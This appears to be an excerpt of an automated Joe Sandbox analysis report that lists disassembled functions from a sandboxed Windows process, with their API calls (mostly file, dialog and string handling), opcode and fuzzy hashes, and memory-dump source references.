Opcode Fuzzy Hash: 2268402d4a2aca544941d68e7c476cfdc96f940329a779a591f13655bab2bee9
Instruction Fuzzy Hash: 08819C62E0C6C3C5E761AF35A8401BAF7A1BB44B84FDC4132DA8E576A4DE3DE941C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBA5710 Relevance: 3.1, APIs: 2, Instructions: 110COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF75FBA58A5
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF75FBA58C1

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID:
API String ID: 1875163511-0
Opcode ID: bdc7d76e4e482d0c6040e2fce28c63d16ef644c05874e5a652a5392bbb4c4644
Instruction ID: 293e21d231b29a90ec9096bcda8409421ce771c870c75046b2c6cbd44c47a5a1
Opcode Fuzzy Hash: bdc7d76e4e482d0c6040e2fce28c63d16ef644c05874e5a652a5392bbb4c4644
Instruction Fuzzy Hash: 9E415D62A0AAC2D4EB65EF31D1403F9A7A0AB54B84F8C4036CB8D17795DF7CE6858325

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9A698 Relevance: 3.1, APIs: 2, Instructions: 78fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?,00007FF75FB983EF), ref: 00007FF75FB9A728
CreateFileW.KERNEL32(?,?,?,?,?,?,?,00007FF75FB983EF), ref: 00007FF75FB9A775

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 07191cd0cb3285c77e4f7706b5cc832eef988f137fc250b0d2cd0ca272682d01
Instruction ID: a448fab3e8c97e0a974c1a167362b4fe54b5295c0b97df7400a86214d8179a9c
Opcode Fuzzy Hash: 07191cd0cb3285c77e4f7706b5cc832eef988f137fc250b0d2cd0ca272682d01
Instruction Fuzzy Hash: 0231ADB2A14786C6E760AF31D9053A8B6A4F744BB8F994324DAA8077C5CF7CD894C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9AE80 Relevance: 3.1, APIs: 2, Instructions: 76timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32 ref: 00007FF75FB9AEAE
SetFileTime.KERNELBASE ref: 00007FF75FB9AF4B

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 2a0ebbb936c2e0efe614016c2784f352c822edb21946baebf8364a0637000df5
Instruction ID: 220173ba9281b2b938496c91f34f6a27d686a9faed5d594134c1ba8a982cd3fa
Opcode Fuzzy Hash: 2a0ebbb936c2e0efe614016c2784f352c822edb21946baebf8364a0637000df5
Instruction Fuzzy Hash: BB21C7A2F4DBC2D5EA61BA31D5053FAE794AF01794FAD8131DE4C06691EE3DD48AC320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9AB80 Relevance: 3.1, APIs: 2, Instructions: 76COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00007FF75FB9AB55), ref: 00007FF75FB9AC6C
GetLastError.KERNEL32(?,00007FF75FB9AB55), ref: 00007FF75FB9AC77

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 3a2f6b7080e796612e7954977237eb49714cffe62ddf3d76c058ee24894dddb5
Instruction ID: a29515a9e19c4ab3be177698f72332e23b57973d5f85a61f9ebce78d794a810e
Opcode Fuzzy Hash: 3a2f6b7080e796612e7954977237eb49714cffe62ddf3d76c058ee24894dddb5
Instruction Fuzzy Hash: 1431B271B186D2C2EA20AF35DA046E9A3B9FB14B90F994131D95D47F94CF3DE8428720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9FDF8 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF75FB9FE7F
LoadStringW.USER32 ref: 00007FF75FB9FE98

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: d56223552d5f0b0d712a13151417c19c9605282fb11b3c8d360de7c19b573e5c
Instruction ID: a49fb6ddf983553d84a6c9183c4b9a35d13220a4eb84c27d1a4317018efc23a9
Opcode Fuzzy Hash: d56223552d5f0b0d712a13151417c19c9605282fb11b3c8d360de7c19b573e5c
Instruction Fuzzy Hash: 5A115171B08B85C5E750AF26A9441A8F7A0BB88FD4B9C803ADE0CC3325DF3CE5018364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9AF60 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF75FB9AFC1
GetLastError.KERNEL32 ref: 00007FF75FB9AFCE

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: f9c98287bc8f8feb0460261bef8251c3ad89a7ca00a3a72dffcffce09c2f2b67
Instruction ID: 3a5b0304ba1eaf31a36cba2e670bed725f88328057eeb505b1fc126efe8c8a89
Opcode Fuzzy Hash: f9c98287bc8f8feb0460261bef8251c3ad89a7ca00a3a72dffcffce09c2f2b67
Instruction Fuzzy Hash: 6C118761A186C2C1EB60AB35E5403F9A664FB44774FA84331EA3D922D5CF3CD556C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB913C0 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75FB9FA1C: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FB9FA62
Part of subcall function 00007FF75FB9FA1C: SetDlgItemTextW.USER32 ref: 00007FF75FB9FAD1
Part of subcall function 00007FF75FB9FA1C: GetWindowRect.USER32 ref: 00007FF75FB9FB0B
Part of subcall function 00007FF75FB9FA1C: GetClientRect.USER32 ref: 00007FF75FB9FB19

GetDlgItem.USER32 ref: 00007FF75FB91410
SetDlgItemTextW.USER32 ref: 00007FF75FB9142C

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Item$RectText$ClientWindowswprintf
String ID:
API String ID: 402765569-0
Opcode ID: 81bc7c9ad6575843b3a2adb7e7eada1b1bca9b04a44248fe7cc91ed728909399
Instruction ID: 6e0ccc69077333361c012ebbda848921e7545095b2b76a7fed22800852eae2de
Opcode Fuzzy Hash: 81bc7c9ad6575843b3a2adb7e7eada1b1bca9b04a44248fe7cc91ed728909399
Instruction Fuzzy Hash: 2B018820F0D2CA81FF49A762B2643F9D7A0AF49B80F8C4035C80D463D68E6CE1459B21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB99310 Relevance: 3.0, APIs: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32 ref: 00007FF75FBA316A
SystemTimeToFileTime.KERNEL32 ref: 00007FF75FBA317A

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Time$System$File
String ID:
API String ID: 2838179519-0
Opcode ID: 82aff9353917199812c6260b96f694920c627220131da2baf5cc5a51b94c4fe2
Instruction ID: b07a4d382fe2b17e9e8002f838b194093f5d464757de122feaa513b22419020e
Opcode Fuzzy Hash: 82aff9353917199812c6260b96f694920c627220131da2baf5cc5a51b94c4fe2
Instruction Fuzzy Hash: 140152329186C5C5EB12AF30D4553EEABA0E765B0DF4C0075CB8D0E296CE2ED149C731

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9B6D0 Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00007FF75FB9B4C4,?,?,00007FF75FB97C79), ref: 00007FF75FB9B6ED
SetFileAttributesW.KERNEL32(?,00007FF75FB9B4C4,?,?,00007FF75FB97C79), ref: 00007FF75FB9B71A

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: fb1b40424746d7a0d454d32c00dcc2a09f05ccf97f409d19b028fb7a867486e8
Instruction ID: 9cd5598adbd95560d488900c67af7eed094ef19fc7d3e1ffb75c27e65155b172
Opcode Fuzzy Hash: fb1b40424746d7a0d454d32c00dcc2a09f05ccf97f409d19b028fb7a867486e8
Instruction Fuzzy Hash: 31F01826B087D392E750AB31E4042EAA365BB54BC0F988171ED9C87759DE3CD9458750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9B34C Relevance: 3.0, APIs: 2, Instructions: 26fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,?,?,?,?,00007FF75FB9A5D6), ref: 00007FF75FB9B362
DeleteFileW.KERNEL32(?,?,?,?,?,?,?,00007FF75FB9A5D6), ref: 00007FF75FB9B38D

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 2b03dbdb66dff3f60291192f9a790cf6b38a4c62befaa2b4bf38ed09df3bbe89
Instruction ID: 9e620bf9cf828365d5a7322b5e63ad926a6c45d56ec09b633d7caa8a836faf54
Opcode Fuzzy Hash: 2b03dbdb66dff3f60291192f9a790cf6b38a4c62befaa2b4bf38ed09df3bbe89
Instruction Fuzzy Hash: 75F03712B1C6C3C1E660AB31E9043EE9364BF557C4FCC8135E98D4369ADE2CD5558624

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9B3C0 Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00007FF75FB9B488,00000001,00007FF75FB9B2C1,0000111D,?,?,00007FF75FB97C79), ref: 00007FF75FB9B3D6
GetFileAttributesW.KERNELBASE(?,00007FF75FB9B488,00000001,00007FF75FB9B2C1,0000111D,?,?,00007FF75FB97C79), ref: 00007FF75FB9B3FF

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1a59d28757cbfac9e8b7703ca95a00cc392ef30b398a30a6bab5ade148643187
Instruction ID: 7bef005c6a53058c16ef3a7e57bd3a7cf0d4b5157270259712aad5c6c76dd54d
Opcode Fuzzy Hash: 1a59d28757cbfac9e8b7703ca95a00cc392ef30b398a30a6bab5ade148643187
Instruction Fuzzy Hash: 98F0A721B086C282E6607B34E5443F99261BB497D4F884130E99C837EACE7CD9888610

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB25B0 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75FB9FDF8: LoadStringW.USER32 ref: 00007FF75FB9FE7F
Part of subcall function 00007FF75FB9FDF8: LoadStringW.USER32 ref: 00007FF75FB9FE98

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FBB25DE
SetDlgItemTextW.USER32 ref: 00007FF75FBB25F4

Part of subcall function 00007FF75FBAF3C8: PeekMessageW.USER32 ref: 00007FF75FBAF3DE
Part of subcall function 00007FF75FBAF3C8: GetMessageW.USER32 ref: 00007FF75FBAF3F5
Part of subcall function 00007FF75FBAF3C8: IsDialogMessageW.USER32 ref: 00007FF75FBAF40C
Part of subcall function 00007FF75FBAF3C8: TranslateMessage.USER32 ref: 00007FF75FBAF41B
Part of subcall function 00007FF75FBAF3C8: DispatchMessageW.USER32 ref: 00007FF75FBAF426

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Message$LoadString$DialogDispatchItemPeekTextTranslateswprintf
String ID:
API String ID: 601060688-0
Opcode ID: 82aa128e8539a57056cc77cfd8a92f720249eb72442b728fe3c7635f96eb94eb
Instruction ID: 2aad8e410fda1fe303f5751a736409c1374e529f254d8eb87a59db16d0f47119
Opcode Fuzzy Hash: 82aa128e8539a57056cc77cfd8a92f720249eb72442b728fe3c7635f96eb94eb
Instruction Fuzzy Hash: C5E03955E096C6C6FA1073B0ED013F996D4AF89385FCC0139FA4D57792CD2CD6568622

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBA2D84 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,00007FF75FBA2DD9,?,?,?,?,?,?,?,?,00007FF75FB9C544), ref: 00007FF75FBA2D88
GetProcessAffinityMask.KERNEL32 ref: 00007FF75FBA2D9B

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 36c52fee964b1d07e923aecdfe421dd5a67ccda00a6ef38af63a4af350f5d3be
Instruction ID: de21a98f0acbc8b1f6ae89d4420cafd0f8f65f01345bd7336c449149501cf043
Opcode Fuzzy Hash: 36c52fee964b1d07e923aecdfe421dd5a67ccda00a6ef38af63a4af350f5d3be
Instruction Fuzzy Hash: A8E02B61F145C2C2DF099F75C4504EAB391FFC8B40FC88036D54A83614DE3CE1898720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBA2320 Relevance: 3.0, APIs: 2, Instructions: 22libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32 ref: 00007FF75FBA233C
LoadLibraryW.KERNELBASE ref: 00007FF75FBA2367

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: cb728cfa56246d41a190ca8f87e85a0570454b63df53ba17ed7b812c77b783f2
Instruction ID: 35558bef3aebd1866e7628e62aecf101d3f286ff1349f73a369b777946213443
Opcode Fuzzy Hash: cb728cfa56246d41a190ca8f87e85a0570454b63df53ba17ed7b812c77b783f2
Instruction Fuzzy Hash: 46E0E561B185C2D7FA60BB31E8543EBD2A4BF98784FC84171E5CD82695DE2CD648C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBBDA18 Relevance: 3.0, APIs: 2, Instructions: 19threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL ref: 00007FF75FBBDA2E
GetLastError.KERNEL32 ref: 00007FF75FBBDA40

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ErrorLanguagesLastPreferredRestoreThread
String ID:
API String ID: 588628887-0
Opcode ID: 124b22454ced5a70d0b54dc7a6e7da9e1185ed39ab18a569fda50e86802df24b
Instruction ID: 4952b75ca07efe62693871c8a46fe89b571b6fb43c7f37be6ef0aca87a875573
Opcode Fuzzy Hash: 124b22454ced5a70d0b54dc7a6e7da9e1185ed39ab18a569fda50e86802df24b
Instruction Fuzzy Hash: 2AE0EC50E1E5C3C7FF18BBB2A8551FAE2D15F9CB55F8C5034CA0D46295EE2CAC868634

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB5EBC Relevance: 3.0, APIs: 2, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

__vcrt_FlsAlloc.LIBVCRUNTIME ref: 00007FF75FBB5EC7
__vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF75FBB5EF7

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
